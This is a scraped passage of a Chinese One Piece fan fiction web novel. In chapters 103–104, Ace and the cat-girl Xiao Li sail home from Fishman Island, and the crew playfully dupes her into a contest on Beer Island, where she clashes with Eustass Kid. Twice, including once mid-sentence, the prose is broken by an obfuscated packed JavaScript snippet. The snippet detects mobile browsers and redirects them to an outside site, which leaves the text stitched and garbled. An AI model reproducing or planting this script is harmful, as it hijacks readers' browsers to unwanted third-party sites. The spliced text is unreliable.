;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061476|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸颊更红了。 尼尔森先是一愣,随即眼中爆发出更亮的光彩,用力点头,迅速调整了一下相机参数和位置,然后对小狸比了个“OK”的手势,扭身朝向了艾斯。 艾斯有些不明所以,目光带着询问地看向小狸。 下一秒,他的少女忽然动了。墨蓝色的裙摆如浪花般飞扬而起。她几步轻盈地来到他身边,在他还没完全反应过来时,微微踮起脚,仰起那张染着醉人红晕的小脸,一个轻如蝶翼、却带着无比清晰爱意的吻,飞快地、准确地落在了他的脸颊上。 “咔嚓!” 几乎是同时,尼尔森手中的相机快门声清脆响起。专业相机完美的捕捉到了这一瞬间:少女闭着眼,睫毛轻颤,唇瓣轻触恋人脸颊时全是全然的信赖与甜蜜;而艾斯则微微睁大了眼睛,似乎有些猝不及防,但那双总是带着火焰般活力的黑眸里,瞬间漾开的惊讶、柔软,以及嘴角那根本控制不住、自然上扬的幸福弧度全都清晰无比地被记录了下来。他下意识揽住她腰肢的手,保护与占有欲并存。 光影、色彩、情感、动态……一切都恰到好处,浑然天成。 “太……太完美了!!”尼尔森看着相机里刚刚定格的照片,“这不仅仅是照片!这是,是艺术!!” 在尼尔森再三保证一定会将照片洗出来寄给她的承诺中,小狸终于松了口气,后知后觉开始害羞的伸手拉住了艾斯的衣角。穿着如此昂贵华丽的裙子,她只觉得手脚都不知道该往哪里放,浑身不自在。 此时,沉浸在羞涩、幸福和些许疲惫中的两人,无论如何也想不到,这位名叫尼尔森的摄影师,不仅是个技艺精湛、追求极致的艺术家,他兼职供稿的对象之一,恰好就是影响力遍布世界的世界经济新闻社。这张无论从构图、光影还是情感表达上都堪称杰作的合照,在经过尼尔森精心冲洗和提交后,将会被嗅觉敏锐的新闻社编辑一眼看中。它经过层层筛选上报,最终竟然带着私心被选中,决定印刷在小狸下一次更新的悬赏令上。 虽然为了发布,截掉了艾斯的脸只剩下一点脸颊,但少女甜蜜的亲吻使得这张与其说是通缉令,不如说是艺术写真的悬赏令,一经发布,便传遍了整个伟大航路,甚至传到了四海。无数的人都在为白胡子海贼团这位少女的容貌惊叹的同时记恨着那个幸运的不明身份的小子。在那之后的一段时间里,甚至有人不惜冒险接近莫比迪克号的巡逻范围,就只为远远看她一眼,把小狸弄得不胜其烦,通通揍了一顿后才慢慢阻止这种狂热的骚动,这股风潮持续了很久才慢慢平息。 当然,这些都是后话了。 此刻,毫不知情未来会有多大风波的小狸,真诚地向帕帕古和两位人鱼助手表示感谢,并坚持要将身上这件奢华无比的礼服换下来。 “真的很谢谢你,帕帕古先生,还有两位姐姐。这条裙子非常非常美。”小狸认真地说,眼神清澈,“但是,它太珍贵了,而且……我真的需要更方便活动一些的衣服。在海上,这样的裙子没什么机会穿的。” “哎——真的很适合您啊,小狸小姐,不留下吗?哪怕是作为纪念?”人鱼助手丽贝卡遗憾地劝说。 “就是,艾斯队长明明也很喜欢看您穿呢。”莎拉也笑着附和,瞄了一眼旁边虽然没说话但目光一直没离开过小狸的艾斯。 最终,在帕帕古“这条裙子与您相遇就是它的命运,请务必收下作为纪念,费用全免!否则就是看不起我帕帕古的艺术!”的强烈坚持下,他们还是带走了那条黑裙子,同时,小狸也如愿以偿地挑了一套面料舒适、款式简洁的浅蓝色背带裤搭配白色短袖上衣。甚至她之前划破的那条旧裙子,都被一位手巧的人鱼店员姐姐用同色丝线绣上了一小丛精致的珊瑚修补好了。 两人提着手提袋终于离开了让人心跳加速的帕帕古服装店。 太多事情紧凑地发生在一天让小狸的精神一直处于高度兴奋和紧张的状态。此刻放松下来,一股深深的倦意如同潮水般涌上,她忍不住打了个大大的哈欠,蔚蓝的眼睛里蒙上一层水雾,尾巴也无精打采地垂着。 艾斯看着她强打精神却难掩疲惫的样子,心疼地揉了揉她的头发:“累了?不然我们在这休息一晚,明早再出发?” “不要!”小狸却出乎意料地坚定摇头,声音带着困意却异常清晰,“我想早点回去。我想老爹,想大家,想莫比迪克号了。” 她一边说着,一边又忍不住打了个哈欠,生理性的泪水沾湿了睫毛。然后,她非常理所当然地朝着艾斯伸出双手,眼睛半眯着,像只讨要抱抱的幼猫,声音软糯带着鼻音: “艾斯,抱。” 她心里的小算盘打得噼啪响:反正回程有那谬尔开船,又不用她来操心航行。路上她完全可以窝在艾斯怀里舒舒服服睡一觉,等睡醒了,说不定就到家了!简直完美! 艾斯看着她那副理直气壮耍赖的小模样,哪里会看不懂她那点小心思。他眼底漾开纵容的笑意,故意叹了口气,语气却温柔得能滴出水:“真是拿你没办法……懒猫。” 说着,他放下手中的购物袋,弯下腰。小狸熟练地往他怀里一扑,同时身体轻盈地缩小、变化。眨眼间,艾斯臂弯里就多了一只通体漆黑的小猫。小猫满足地在他怀里拱了拱,找到一个最温暖舒适的位置,团成一个小毛球,眼皮已经沉重地耷拉下来,喉咙里发出细微的、规律的呼噜声,几乎是秒睡。 艾斯一只手稳稳地抱着熟睡的小猫,另一只手重新提起所有东西,动作依旧轻松。他和等候在约定地点的那谬尔汇合。 那谬尔看了看他怀里睡得四仰八叉、露出一点粉色肉垫的小黑猫,又抬头用眼神询问艾斯:要留一晚么? 艾斯笑着摇摇头,用口型无声地说:她累了,想家了。 那谬尔了然地点点头,眼中也泛起温和的笑意。他拍了拍艾斯的肩膀,不再多言,转身利落地指挥起船员。 很快,白胡子海贼团的船只再次被镀膜泡泡包裹,缓缓驶离了繁华梦幻、灯光如星的鱼人岛港口,向着幽暗的深海升去,准备穿越海底洋流,返回那片属于他们的、波涛汹涌也自由壮丽的新世界。 103.神之佳酿争夺赛 离开了深海龙宫城的瑰丽与喧嚣,搭乘着那谬尔的船,小狸和艾斯终于重返海面。 当船只的镀膜穿透最后的海水屏障,“噗”地一声轻响碎裂消散时,带着咸腥气息、却无比自由广阔的海风如同久违的老友,热烈地迎面扑来,瞬间盈满肺叶。 小狸站在船头,忍不住张开双臂,深深吸了一大口这熟悉又怀念的空气,然后缓缓吐出,蔚蓝的猫瞳在阳光下眯成愉悦的弧线,尾巴在身后不自觉地高高翘起,轻轻摇晃。她这才真切地意识到,自己是如此地怀念这片无边无际的蔚蓝,以及这能驱散一切阴霾的温暖阳光。海底的梦幻固然震撼,但属于她的世界,终究是这沐浴在日光与狂风下的海面。 “啊——活过来了!”她忍不住小声欢呼,声音里充满了雀跃。 船只调整好风帆,在那谬尔熟练的指挥下,平稳地向着莫比迪克号所在的大致海域航行。天气好得近乎奢侈,晴空如洗,万里无云。海面平静得如同摊开的巨大丝绸,只在船首切开时留下悠长绵白的尾迹。连偶尔掠过船舷的海鸥,鸣叫声都显得懒洋洋的,带着饱食后的惬意。 如此舒适平静的航程,让船上的所有人都染上了一种慵懒放松的气息。没有紧急任务,无需时刻绷紧神经警惕潜在的敌人或天灾,大家自然而然地将紧绷的状态卸下。船员们三三两两地聚在甲板上,有的慢条斯理地擦拭保养着随身的刀剑火器、有的凑在一起低声谈笑,分享着来自四海的新鲜见闻或家乡趣事、有的干脆就地找个干燥柔软的角落,铺上毯子,枕着胳膊闭目养神,享受着难得的安宁时光。 温暖得有些灼人的阳光洒满全身,小狸变成的小黑猫将自己摊成一张薄薄的猫饼,趴在桅杆顶点的瞭望塔边缘。蓬松的黑色皮毛被晒得暖烘烘,她满足地眯着湛蓝色的竖瞳,喉咙里发出极其细微的、只有自己才能听见的咕噜声,像一只真正被太阳烘焙得恰到好处的芝麻团子 艾斯正和那谬尔队长站在一起,讨论着航线。他们计划在返回莫比迪克号之前,先在一个以盛产优质龙骨木材闻名的岛屿稍作停泊。 “虽然各种材料零零散散准备了不少,但最核心的龙骨,始终还是想用那里特产的‘铁桦木’。”艾斯的声音带着一丝不易察觉的沉重,“距离‘炎雀号’沉没,已经快两年多了……修船的计划,一直停留在纸面上。” 他的目光投向远方蔚蓝的海平线,那些被刻意压下的记忆碎片再次浮现。他的队员们,因为他这个不靠谱的队长,这两年来几乎可算是在各艘船上“寄人篱下”跟着其他队伍出任务。而他本人,则一直被追捕蒂奇的事紧紧牵绊住所有心神。 当时年轻气盛,满脑子都是身为队长的义务与愤怒,以为单枪匹马就能解决一切。直到在那个异世界的小巷里濒临死亡,直到被小狸捡回去,直到重新回到家人身边……直到顶上之战……他真正见识到冲动的后果,并为此付出了险些失去一切的代价。他意识到,这绝不应该是由他一个人去逞英雄做的事,尤其是黑胡子已经成为七武海的现在。他有伙伴,有无条件支持他的家人,还有……小狸。 果然,还是应该先一步一个脚印。艾斯深吸一口气,仿佛将那些沉重的过往随着海风一同呼出。他转头,对上瞭望塔上那只小黑猫的目光——小家伙正半个身子都悬空在外,正抻着脖子,竖着耳朵,努力想听清下面的谈话内容。 虽然知道这姿势对于身手敏捷的她来说易如反掌,但艾斯还是想起了桑尼号上从天而降的小猫。他朝她笑了一下,招了招手。 仿佛接到了无声的指令,小黑猫立刻动了。她轻盈地从高高的桅杆上一跃而下,在空中变回少女的模样,扑进他的怀里 “在聊什么呢?”小狸仰起脸,蓝色的猫瞳里满是好奇。 “在说我们的船”艾斯的语气带着难以抑制的期待和一丝深沉的怀念,“拖了这么久,这次回去,就能让她彻底恢复往日的雄风了!”他顿了顿,低头看着小狸,眼神温柔,“小狸还没有机会亲眼见过她完好的样子吧。” “‘黑桃A号’……”小狸轻声重复着那个更早的名字。这是艾斯当初还是黑桃海贼团船长时的座舰,是他真正意义上第一艘属于自己的船。后来加入了白胡子海贼团,黑桃海贼团在名义上解散,船也改了名字,变成了伙伴们口中更显亲昵与传承意味的“炎雀号”。这艘船承载着他最初的梦想、自由与伙伴情谊,其意义非同一般。 她看着艾斯陷入短暂追忆时,那双总是燃烧着熊熊火焰般活力的黑眸里,掠过一丝难以言喻的复杂情绪——有骄傲,有怀念,或许,也有一丝时光流逝、物是人非的淡淡感伤。 小狸不喜欢看到他露出这种带着重量感的眼神,所以她伸出两只手,捧住艾斯的脸颊。掌心感受着他皮肤的温度和下颌硬朗的线条,然后调皮地用力向中间挤了挤,将他英俊的脸庞挤得微微变形,嘴唇也不由自主地嘟起了一点。 “唔?”艾斯猝不及防,思绪被打断,发出一声含糊的疑问,眼睛因为脸被挤压而显得有点滑稽地睁大。 “我确实听大家提起过‘炎雀号’哦,”小狸歪着头,看着他被自己“蹂躏”的脸,语气里故意带上一点酸溜溜的、拉长尾音的意味,“而且啊,我还听说,海上的很多男子汉,都会把自己的船当做‘老婆’来疼爱的……” 听着怀里小猫这拐弯抹角、意有所指的“醋话”,艾斯只觉得她这副模样可爱得要命,心里那点因回忆而生的沉重瞬间被冲得无影无踪,取而代之的是满溢的宠溺和想要逗弄她的恶趣味。他故意板起脸,皱起眉头,用一种极其认真、甚至带着点深情回忆的口吻说道: “嗯!你说得对!炎雀号她啊……”他拖长了语调,眼神飘向远方的海面,仿佛在凝视着并不在此的“她”,“可真的是个不折不扣的美人呢!” 若是以前那个在感情上懵懂又缺乏安全感的小狸,听到艾斯用这种语气夸赞哪怕是一艘“船”的时候,可能都会信以为真,气得炸毛。但此刻的小狸自然没有错过艾斯眼底那藏不住的调笑光芒和嘴角压不住的微小弧度。 这个坏心眼的家伙!又在逗她! 小狸立刻“嗷呜”一口,不轻不重地咬在他肌肉结实、裸露在外的小臂上,用齿尖蹭了蹭他带着体温的皮肤,留下一点湿漉漉的痕迹,然后抬起头,冲他做了一个鬼脸。 “哼!我才不信呢!”她得意地晃了晃脑袋,耳朵也跟着抖了抖,揭穿他的把戏,“我可是听丢斯提起过” 她故意拉长了声音,满意地看到艾斯脸上那故作深情的表情瞬间僵了一下。 “当初哥哥画的设计草图有多——么的抽象!要不是巴顿先生理解能力超群,又耐心地跟你反复确认,恐怕这个世界上根本就不会有‘炎雀号’出现呢!” 艾斯瞬间语塞,俊脸上闪过一丝清晰的、被最信任的伙伴出卖的窘迫,耳朵尖以肉眼可见的速度泛起了红色。他这才发现自己那群“贴心”的伙伴们把他当年的“黑历史”卖了个一干二净! “丢斯那家伙……!”艾斯磨了磨后槽牙,小声嘀咕,脸上有点挂不住。但他反应极快,立刻演技浮夸地试图岔开话题,同时手臂一收,将怀里这个正在得意洋洋揭他短、笑得像只偷到鱼的小坏蛋紧紧箍进怀里。 “啊!今天的天气真不错啊!看那蓝天,可真蓝啊”他指着天空,语气生硬地转折。 小狸才不接茬,被他勒得轻轻“唔”了一声,但眼睛里的笑意更盛,仿佛在说“看,被我说中了吧”。 艾斯见转移话题失败,干脆恼羞成怒的采取物理手段。他把脸埋进小狸带着阳光气息和淡淡清香的颈窝里,温热的呼吸故意喷洒在她最敏感脆弱的皮肤上。 “!!!” 小狸的身体瞬间僵住了动弹不得,像是被按下了某个开关。脖颈,尤其是靠近咽喉的位置,对于任何动物来说都是极其敏感和致命的区域,她本能地感到紧张和想要躲避。艾斯明明知道这一点,却总喜欢“欺负”她,用这种方式逗弄她,看她慌张无措的样子。 “艾、艾斯……别……”小狸的声音立刻带上了颤音,刚才的得意消失无踪,取而代之的是一种混合着酥麻、微痒和本能紧张的轻颤。她能清晰地感觉到他鼻尖蹭过皮肤的热度,呼吸拂过时带起的一片细小的战栗,从颈侧一直蔓延到脊椎,让她下意识地想缩起脖子,整个人都微微抖了起来。 “不可以咬我哦……”她小声抗议,带着点可怜的呜咽声,试图用手推开他的脑袋,但力道软绵绵的。 艾斯低低地笑出声,胸腔的震动透过紧密相贴的身体传递过来。他非但没有离开,反而变本加厉,用嘴唇轻轻碰了碰她颈侧那条微微跳动的血管,感受到她瞬间更加剧烈的颤抖和骤然绷紧的身体。 “是谁先咬人的,嗯?”他含糊的声音带着笑意和一丝沙哑,在她耳边响起,灼热的气息钻入耳廓。 小狸被他弄得浑身紧绷,尾巴都紧张地卷了起来,只能发出细微的、毫无威慑力的哼唧声,彻底败下阵来,刚才那点“兴师问罪”的气势早就飞到九霄云外去了。 艾斯埋首在她颈间,深深吸了一口独属于她的气息,眼中掠过一丝深沉的爱怜与满足。 炎雀号是重要的伙伴,是过去的见证与荣光。 但怀里的这个,是他的现在,和全部的未来。 他抬起头,看着小狸红扑扑的、还带着羞恼水光的脸,忍不住又亲了亲她的额头,换来她一声小小的、意味不明的咕哝。 阳光依旧温暖,海风依旧轻柔。甲板上的那谬尔和其他船员,早已对这边时不时上演的“打情骂俏”戏码见怪不怪,各自继续着手中的活计。 就在这时,桅杆瞭望台上传来一个船员带着明显兴奋的声音,打破了这份宁静的惬意: “那谬尔队长!前面海域好多船啊!聚在比尔岛那边,密密麻麻的!”年轻的鱼人船员声音洪亮,透着跃跃欲试的劲头,“哎,说起来,时间好像差不多了……又到了那个时候了吧?” 听到他的话,甲板上或坐或卧的船员们纷纷直起身,手搭凉棚朝着船员所指的方向望去。果然,在远处一座郁郁葱葱的岛屿轮廓附近,海面上锚泊着大大小小、各式各样的船只,看上去热闹非凡。不少船员的脸上都露出了混合着怀念、促狭和某种“看好戏”的微妙笑容。 “哦?到这儿了啊。”一个船员摸着下巴上的胡茬,嘿嘿笑起来。 “比尔岛啊……真是令人‘怀念’的地方。”另一个船员咂咂嘴,眼神飘远。 “啊,是那个啊……”众人纷纷附和,彼此交换着心照不宣的眼神,空气中弥漫起一股隐秘的欢乐气息。 被这突如其来的骚动和众人古怪的反应勾起好奇心,小狸立刻坐直了身体,蔚蓝的猫瞳瞪得圆圆的,尾巴也警觉地竖起:“什么啊?你们在说什么?那个岛怎么了?为什么那么多船?” 那谬尔队长放下手中的酒壶,粗犷的脸上努力维持着正经,但眼底的笑意却藏不住。他和艾斯对视了一眼,仿佛达成了某种默契。 “咳,”那谬尔清了清嗓子,用一副郑重的语气说道,“小狸你不知道吗?前面那是比尔岛,每年到了这个季节,都会举办一场超级盛大的赛事!可以说是吸引了新世界大半的豪杰、怪人、酒鬼和凑热闹的家伙来参加呢!” “赛事?”小狸的耳朵尖动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063793|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,兴趣被勾起来了,“什么赛事?打架吗?还是寻宝?” “比那些可‘刺激’多了!”一个船员插嘴,故意压低声音,营造神秘感,“关键是冠军的奖品——”他拖长了语调。 那谬尔适时接过话头,眼神“真诚”地看着小狸,用充满诱惑力的声音说道:“冠军的奖品,是传说中的‘神之佳酿’!据说,那是用早已失传的古老配方,采集星辰坠落之地的露水、千年开花一次的神秘果实,再由隐居的酿酒大师耗费毕生心血酿造而成……只喝一口,无论你是海上的硬汉,还是深宫的国王,都会感动得惊呼出声,灵魂为之震颤!是真正的、无价之宝!” 他的描述绘声绘色,语气充满了不容置疑的笃定,成功地将小狸的全部注意力都吸引了过去。小猫的眼睛瞪得更大了,里面写满了“哇!听起来好厉害!好想要!”的光芒,完全错过了那谬尔眼底深处一闪而过、以及周围船员们拼命憋笑而微微抽搐的嘴角。 “只喝一口……就会惊呼的神之佳酿?”小狸喃喃重复,尾巴不自觉地开始快速左右摇摆。“给老爹的话……”她脑海里已经浮现出老爹喝到如此美酒,开怀大笑、说不定还会感动地拍拍她脑袋的画面。而且,自己说不定……也能偷偷尝一小口?就一小口! 像是生怕火候不够,从那之后,船上的众人仿佛集体失忆,绝口不再提比尔岛和比赛的事情。他们该聊天气聊天气,该保养武器保养武器,偶尔有人“不小心”提到“啊,不知道今年的‘那个’会是什么样子”,立刻就会被旁人用眼神或咳嗽制止,一副“天机不可泄露”的样子。 这种刻意的回避和神秘感,像是有无数只爪子在轻轻挠着小狸的心。她坐立不安,一会儿看看远处越来越近、船只越来越多的比尔岛,一会儿又偷瞄正在和那谬尔低声商量航线的艾斯,一会儿又转向那些假装忙碌的船员们。 终于,在船只即将驶离比尔岛所在航线时,小狸再也按捺不住了。她“噌”地一下站起来,跑到那谬尔和艾斯面前,仰着小脸,眼睛亮得惊人: “等一下!我们不过去看看吗?”她指着比尔岛的方向,声音因为急切而微微提高,“你们看,有那么多船!那么多人都想要抢夺的好东西!肯定非常非常珍贵!我们……我们难道不去试试吗?万一拿到了,给老爹当礼物多好啊!” 看着她那副急切又努力找理由说服大家的样子,那谬尔和艾斯再次交换了一个“鱼儿彻底咬钩了”的眼神。那谬尔立刻做出一副十分为难的样子,搓着下巴:“这个嘛……我们都参与过了,对吧?”他看向周围的船员。 “对啊对啊!”众人立刻七嘴八舌地附和,演技一个比一个浮夸。 “冠军只能有一个,我们都拿过了,再去不是欺负人嘛!” “总得给后来者一些机会和梦想不是?” “是啊,要把惊喜留给新人!” “新人?”小狸敏锐地捕捉到了关键词,立刻像被点燃的炮竹,原地跳了一下,高高举起手,生怕别人看不见,“还有我啊!我!我还没去过!我可以参加的!我算是新人吧!” 她心里的小算盘打得噼啪响:正好可以当做送给老爹的惊喜礼物!老爹一定很开心!自己也可以……嗯,作为胜利者,尝那么一小口的吧?她仿佛已经看到了闪着金光的美酒,尾巴摇得更欢了。 艾斯看着自家小猫那完全被“神之佳酿”迷住、斗志昂扬的模样,心里早就笑翻了天,但脸上还得努力绷着。他故作沉吟,看向那谬尔:“那谬尔,你看小狸这么好奇……” 那谬尔也“挣扎”了一下,然后“无奈”地叹了口气,大手一挥:“好吧!既然小狸都这么说了,这么有孝心想给老爹带礼物,我们怎么能不支持呢?转向!目标比尔岛!我们的小公主要去参赛了!” “耶——!!!”小狸兴奋地欢呼一声,像颗小炮弹一样冲到了船头,扶着栏杆,眼睛闪闪发亮地望着越来越近、船只熙攘的比尔岛港口,迫不及待地喊道:“出发了!!!向着神之佳酿前进!!” 她沉浸在即将参与盛大比赛、赢得珍贵礼物、给家人惊喜的美好幻想中,全身心都被兴奋和期待占据,以至于完全没有察觉到,在她身后,那些“贴心”的船员们,包括艾斯和那谬尔,早就憋笑憋得肩膀抖动,互相挤眉弄眼,无声地用口型交流着: “上钩了上钩了!” “今年的乐子有了!” “不知道她会遇到哪些倒霉蛋一起被骗呢?” “哈哈哈……” 那谬尔走到艾斯身边,压低声音,笑得身子都在抖:“你说,小狸到时候发现‘神之佳酿’的真面目,会是什么表情?” 艾斯想象了一下,眼底溢满温柔又恶劣的笑意:“大概会气得炸毛吧。” 不过,让她去玩玩也好,放松一下,顺便……看看热闹。他目光扫过比尔岛港口那些密密麻麻的船只,其中不乏一些气息彪悍、悬赏金不低的海贼船。让她去闹一闹,认识点“新朋友”,似乎也不错。只要别玩得太疯,或者……被某些不长眼的家伙盯上。 船只调整航向,朝着热闹非凡的比尔岛驶去。小狸望着那一片帆影,还不知道自己即将踏入一个何等“盛大”的骗局,以及一段充满意外、竞争、荒谬友谊和……某个醋坛子即将爆炸的精彩冒险。 而比尔岛上,一年一度的“魔鬼筋肉杯·神之佳酿争夺战”的报名处,人头攒动,喧嚣震天。一个戴着夸张礼帽、留着两撇小胡子的奸商老板,正对着扩音电话虫,唾沫横飞地重复着那句经典的广告词: “来吧!勇士们!赢得冠军,带走‘神之佳酿’!一口下去,保证让你惊呼不已,报名从速,过时不候啊!” 104.破浪与挑衅 比尔岛,一座远离世界政府管辖、以活跃火山和险峻海岸线著称的岛屿。此刻,它正迎来一年中最“热闹”的日子。山脚下茂密森林的边缘,原本荒凉尖锐的暗礁海岸线旁,临时搭建起的码头和报名区人声鼎沸,喧嚣几乎要压过不远处海浪拍击礁石的轰鸣。各式各样、奇形怪状的船只挤满了临时泊位,更多小船干脆直接冲滩搁浅。空气里混杂着汗味、酒气、火药味和海风的咸腥,以及一种近乎狂热的亢奋。 比赛报名处设在港口附近一块相对平整的沙地上,用粗糙的原木和褪色的帆布搭了个简易棚子。棚子前人头攒动,挤满了形形色色的参赛者。 小狸站在报名处前,踮着脚才勉强把脑袋露在柜台边缘。比赛是个人制,这意味着在场的每一个人,无论来自哪里,此刻都是潜在的对手。气氛因此显得格外紧张,百来号人聚集在这片不大的空地上,彼此打量着,眼神里充满了警惕、评估和不加掩饰的敌意。他们大多是新世界的新面孔,悬赏金从几千万到三五亿不等,一个个恨不得把“老子天下第一”写在脸上,充满了初生牛犊不怕虎的桀骜。 娇小的她在这些平均身高超过两米、肌肉贲张或长相奇特的“怪家伙”中间,简直像误入巨人群的小不点,毫不起眼。没人把她当回事,顶多在她那对明显不是装饰的猫耳和尾巴上多瞥两眼,随即嗤笑一声移开目光。 但小狸并不在意这些轻视。她心里还记着艾斯说的“可以去交交朋友”,而且对手这么多,了解一下总没坏处。她蔚蓝的眼睛在人群中扫视,像雷达一样过滤着信息。很快,她的目光锁定了一个家伙。 那是个极其高大、气场凶悍的男人。一头赤红色的短发根根直立,如同燃烧的刺猬,头上还别着一副看起来价格不菲的黑色太阳镜。他的眼神凶恶如择人而噬的猛兽,脸上没有眉毛,更添几分戾气。上身只穿了一件敞怀的黑色皮质夹克,露出结实的胸腹肌肉和纵横交错的伤疤,一件暗红色的大衣随意披在肩上。腰间一边佩着匕首,一边挂着造型粗犷的手枪,脚下踩着结实的黑色短靴。最引人注目的,是他裸露的左臂——那是一只与他的体型相比都显得异常巨大、结构复杂、泛着冷冽金属光泽的机械义肢,线条粗犷却充满力量感。小狸对机械并不陌生,她能看出这只义肢做工精良,绝非普通货色,而且……使用它的人,一定很强。 它让她想起了久远的记忆,这些冰冷冷的金属反而是锈带带给她的为数不多的温情 她鼓起勇气,从人群中挤过去一些,在那红发男人附近停下,仰起头,放轻了音量,试图表达友善:“那个,你好,我是小狸~” 她指了指他的左臂,眼睛亮亮的,“你的义肢,做的很棒!” “哈……?” 男人闻言,微微抬了抬下巴,凶恶的目光如同实质般扫了过来,声音大得刺耳,充满了被打扰的暴躁,几乎盖过了周围的嘈杂:“我管你是谁,别来烦我。” 噫!好凶! 小狸被这毫不客气的态度和巨大的音量吓得往后小小退了一步,刚刚鼓起的勇气像被戳破的气球,瞬间瘪了下去,耳朵也不自觉地耷拉了一点。 看到她这副像是受惊小动物般的反应,男人反而像是被勾起了某种恶劣的兴趣。他上下打量了她一番,嘴角扯出一个带着嘲讽的弧度,声音依旧洪亮,带着毫不掩饰的傲慢和威胁:“我可是尤斯塔斯·基德,你不知道我是谁就敢来招惹我么?小猫咪。”他故意用了轻蔑的称呼,“这里可不是能让你随便玩玩、过家家的地方,小心一不小心……就送了命。” 尤斯塔斯·基德?小狸在脑海里快速搜索了一下。好像是和路飞同期的“极恶世代”超新星之一,悬赏金很高,以残忍和暴力闻名……原来是他。 被他那种居高临下、仿佛看蝼蚁般的目光和语气彻底激起了火气,小狸那点因对方义肢而产生的好感瞬间被冲散。她挺直了身板,蔚蓝的猫瞳毫不退缩地瞪了回去:“少瞧不起人了!我才不会输给你这种家伙!”她握紧了拳头,声音清脆却坚定地宣告,“我才是会赢的那个!‘神之佳酿’一定是我的!” 她的这段“夺冠宣言”在周围嘈杂却相对压抑的气氛中显得格外清晰。附近那些正警惕彼此、或是同样心高气傲的新人海贼们先是一愣,随即爆发出更响亮的、充满讥讽的哄笑声。 “她说她能夺冠?哈哈哈!笑死老子了!哪里来的小丫头片子!” “白胡子船上的宠物猫也想和我们这种悬赏几亿的大海贼竞争么?别说笑了!” “回家喝奶去吧!小猫咪!这里是大人的战场!” “毛都没长齐就学人放狠话?” 刺耳的笑声和嘲讽如同冰雹般砸来。小狸抿紧了嘴唇,没有立刻反驳,只是默默地将那几个笑得最大声、说话最难听的家伙的脸记在了心里。让她有些意外的是,那个最凶的刺猬头基德,除了最初那声嗤笑,并没有加入嘲讽的行列。他只是抱着那只巨大的金属义肢,脸上带着一种冷酷的、近乎旁观者般的笑容,看着这场闹剧。 他甚至又开口了,语气依旧不客气,但内容却有些微妙:“如果是我的话,会把现在嘲笑我的这些杂碎……全部杀掉。”他猩红的眼睛扫过那几个还在大笑的海贼,让他们笑声不由一滞。“小猫咪,这里真的不是你该来的地方,趁比赛还没开始,赶紧走吧。” 小狸没有接他的话,也没有离开。她只是重新转回头,就地坐下,支着下巴,目光投向远处那个已经跳上高台、举着扩音喇叭、打扮得花里胡哨的主持人,仿佛刚才的喧嚣与她无关。 主持人用极其浮夸的动作和语调开始炒热气氛:“女士们先生们!海上的勇士们!欢迎来到一年一度、只有最勇敢最强大者才敢参与的——‘神之佳酿’争夺战!!!众所周知,这是勇敢者的游戏,是亡命徒的狂欢!过去几年,死在这里的倒霉蛋不计其数!所以,不带着必死的决心、只想着来碰运气的家伙们,现在!立刻!夹起你们的尾巴,像丧家之犬一样滚吧!!!” 他顿了顿,享受了一下台下混杂着怒骂和兴奋的声浪,然后猛地一挥手,指向波涛汹涌、暗礁密布的海岸方向: “而剩下的、真正的英雄们!请允许我,向大家隆重介绍——第一关!!!” “狂浪礁冲浪——!!!” “规则很简单!不限制载具,但只能单人行动!从我们面前的起点出发,穿越前方那片该死的、能把铁船都撕成碎片的礁石区,抵达远处那个红色的浮标,绕标后全速返回起点!活着回来的前一百名,可以晋级第二关!” 众人顺着他的手指望去,只见不远处的海面如同沸腾的锅,白色的浪涛疯狂拍打着露出水面的黑色礁石,发出震耳欲聋的轰鸣。水下阴影憧憧,显然隐藏着更多致命的暗礁,偶尔还能看到巨大背鳍或触腕的影子一闪而过,那是被吸引或本来就栖息在此的海兽。 “顺便提醒一句!”主持人脸上露出不怀好意的笑容,“第一关,原则上不允许选手之间‘直接’伤害哦!不过嘛……”他拖长了语调,“大海之上,风高浪急,礁石无情,海兽凶残……谁知道会发生些什么‘意外’呢?哈哈哈哈哈哈!祝各位……比赛顺利啊!!!” 很快,大小不一、形态各异的船只被推下水,聚集在了用漂浮物拉出的起点线后。有小巧的快艇,有改装过的冲锋舟,也有不少海贼直接开着他们海贼团的小型副舰,甚至有人就踩着一块特制的冲浪板。一时间,海面上挤满了船只,引擎轰鸣,风帆鼓胀,火药味混合着海腥味,气氛紧绷到了极点。 随着一声尖锐的哨响,第一关比赛正式开始 小狸站在“前锋号”上,在这片庞然大物林立的起跑线上,前锋号显得格外迷你,几乎被周围船只激起的浪花淹没。但小狸没有丝毫慌张,她深吸一口气,做了几个简单的拉伸动作,熟悉的小艇让她充满信心。这种复杂地形,正是小巧灵活的前锋号发挥优势的舞台。 她没有扬帆,心神一动,艇尾的喷口骤然迸发出橙色的火焰,推动着小艇如同一条灵敏的海豚,猛地窜了出去! 初始阶段,那些凭借巨大风帆或强劲动力的大船速度极快,一度将小狸甩在后面。但很快,前方的海域就成了它们的噩梦。 “轰隆!”“咔嚓!” 巨大的撞击声不绝于耳。坚硬的礁石如同潜伏的巨兽利齿,轻易地撕开了木质的船体,或者让金属船壳严重变形。汹涌的海浪毫无规律,一个巨浪打来,就可能将船只直接拍向另一块礁石。更可怕的是水下的海兽,它们被这突如其来的入侵惊扰,有的惊慌逃窜撞上船只,有的则主动发起攻击,用庞大的身躯撞击,或用触腕缠绕。 